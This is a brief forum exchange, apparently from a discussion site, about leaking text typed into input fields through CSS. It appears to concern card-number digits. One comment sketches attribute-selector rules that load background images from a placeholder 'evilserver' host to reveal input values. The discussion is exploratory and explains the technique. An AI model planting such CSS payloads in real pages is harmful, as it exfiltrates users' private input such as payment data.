3 ms·
That’s what I thought this method was. Repeating characters would kill that method since you don’t know which character was repeated and, more importantly, wher
by bamboleo 6y ago
That’s what I thought this method was. Repeating characters would kill that method since you don’t know which character was repeated and, more importantly, where. Even in the best situation you have to guess 4 digits and their positions 1 through 16. That sounds like a lot of guessing.
- vbezhenar 6y agoYes, not ideal. But may be someone might develop even better methods. Imagine something like input[value~="12"] { background-image: url(http://evilserver/12); } input[value~="13"] { background-image: url(http://evilserver/13); } It's just a rough idea, but there are numerous methods to dynamically leak information through CSS.